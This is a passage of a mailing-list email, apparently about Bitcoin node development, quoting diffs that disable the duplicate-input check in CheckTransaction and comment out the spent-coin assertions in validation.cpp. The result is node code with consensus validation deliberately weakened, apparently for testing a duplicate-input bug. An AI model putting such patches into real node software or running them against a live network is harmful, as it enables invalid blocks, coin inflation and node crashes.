-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // a=
MEMPOOL request.<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (=
txinfo.tx &&<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 txinfo.nTime <=3D pfrom->timeLastMempoolReq) {<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 connman->PushMessage(pfrom,<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0msgMaker.Make(nSendFlags,<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0NetMsgType::T=
X,<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0*txinfo.tx));=
<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 push =3D true;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br=
>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!push) {<=
br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0vNotFound.push_back(inv);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}<br>
diff --git a/src/validation.cpp b/src/validation.cpp<br>
index a31546432..a9edbb956 100644<br>
--- a/src/validation.cpp<br>
+++ b/src/validation.cpp<br>
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const<br>
CTransaction &tx, CTxUndo &txundo,<br>
=C2=A0 =C2=A0 =C2=A0for (const CTxIn &txin : tx.vin) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0txundo.vprevout.emplace_back()<wbr>;<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool is_spent =3D view.SpendCoin(txin.pre=
vout, &txundo.vprevout.back());<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 assert(is_spent);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 //assert(is_spent);<br>
=C2=A0 =C2=A0 =C2=A0}<br>
=C2=A0}<br>
<br>
<br>
----<br>
The same patch for Core:<br>
<br>
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp<br>
index 0628ec1d4..a06f77f8b 100644<br>
--- a/src/consensus/tx_verify.cpp<br>
+++ b/src/consensus/tx_verify.cpp<br>
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,<br>
CValidationState &state, bool fChe<br>
=C2=A0 =C2=A0 =C2=A0}<br>
<br>
=C2=A0 =C2=A0 =C2=A0// Check for duplicate inputs - note that this check is=
slow so<br>
we skip it in CheckBlock<br>
-=C2=A0 =C2=A0 if (fCheckDuplicateInputs) {<br>
+=C2=A0 =C2=A0 if (0) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0std::set<COutPoint> vInOutPoints;<b=
r>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0for (const auto& txin : tx.vin)<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0{<br>
diff --git a/src/net_processing.cpp b/src/net_processing.cpp<br>
index b48a3bd22..9b7fb5839 100644<br>
--- a/src/net_processing.cpp<br>
+++ b/src/net_processing.cpp<br>
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,<br>
const CChainParams& chainparams, c<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0// Thus, the protocol spec specified allows for<br>
us to provide duplicate txn here,<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0// however we MUST always provide at least what<br>
the remote peer needs<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0typedef std::pair<unsigned int, uint256> PairType;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 for =
(PairType& pair : merkleBlock.vMatchedTxn)<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 connman->PushMessage(pfrom,<br>
msgMaker.Make(SERIALIZE_<wbr>TRANSACTION_NO_WITNESS, NetMsgType::TX,<br>
*pblock->vtx[pair.first]));<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0// else<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0// no response<br>
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const<br>
CChainParams& chainparams, CConnm<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool push =3D false;<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0auto mi =3D mapRelay.find(i=
nv.hash);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0int nSendFlags =3D (inv.typ=
e =3D=3D MSG_TX ?<br>
SERIALIZE_TRANSACTION_NO_<wbr>WITNESS : 0);<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (mi !=3D mapRelay.end()) {<br=
>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 connman->PushMe=
ssage(pfrom, msgMaker.Make(nSendFlags,<br>
NetMsgType::TX, *mi->second));<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 push =3D true;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 } else if (pfrom->timeLastMem=
poolReq) {<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 auto txinfo =3D <a=
href=3D"http://mempool.info" rel=3D"noreferrer" target=3D"_blank">mempool.=
info</a>(inv.hash);<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // To protect priv=
acy, do not answer getdata using<br>
the mempool when<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // that TX couldn&=
#39;t have been INVed in reply to a<br>
MEMPOOL request.<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (txinfo.tx &=
;& txinfo.nTime <=3D pfrom->timeLastMempoolReq) {<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 conn=
man->PushMessage(pfrom,<br>
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 push=
=3D true;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!push) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0vNotFound.pus=
h_back(inv);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}<br>
diff --git a/src/validation.cpp b/src/validation.cpp<br>
index 947192be0..66536af24 100644<br>
--- a/src/validation.cpp<br>
+++ b/src/validation.cpp<br>
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,<br>
CCoinsViewCache& inputs, CTxUndo &txund<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0for (const CTxIn &txin : tx.vin) {<br=
>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0txundo.vprevout.emplace_bac=
k()<wbr>;<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool is_spent =3D inputs.Sp=
endCoin(txin.prevout,<br>
&txundo.vprevout.back());<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 assert(is_spent);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 //assert(is_spent);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}<br>
=C2=A0 =C2=A0 =C2=A0}<br>
=C2=A0 =C2=A0 =C2=A0// add outputs<br>
______________________________<wbr>_________________<br>
bitcoin-core-dev mailing list<br>
<a href=3D"mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-=
dev@lists.<wbr>linuxfoundation.org</a><br>
<a href=3D"https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-=
dev" rel=3D"noreferrer" target=3D"_blank">https://lists.linuxfoundation.<wb=
r>org/mailman/listinfo/bitcoin-<wbr>core-dev</a><br>
</div><br><br clear=3D"all"><div><br></div>-- <br><div class=3D"gmail_signa=
ture" data-smartmail=3D"gmail_signature">- Bryan<br><a href=3D"http://heybr=
yan.org/" target=3D"_blank">http://heybryan.org/</a><br>1 512 203 0507</div=
>
</div>
--000000000000ac524605767971c8--
|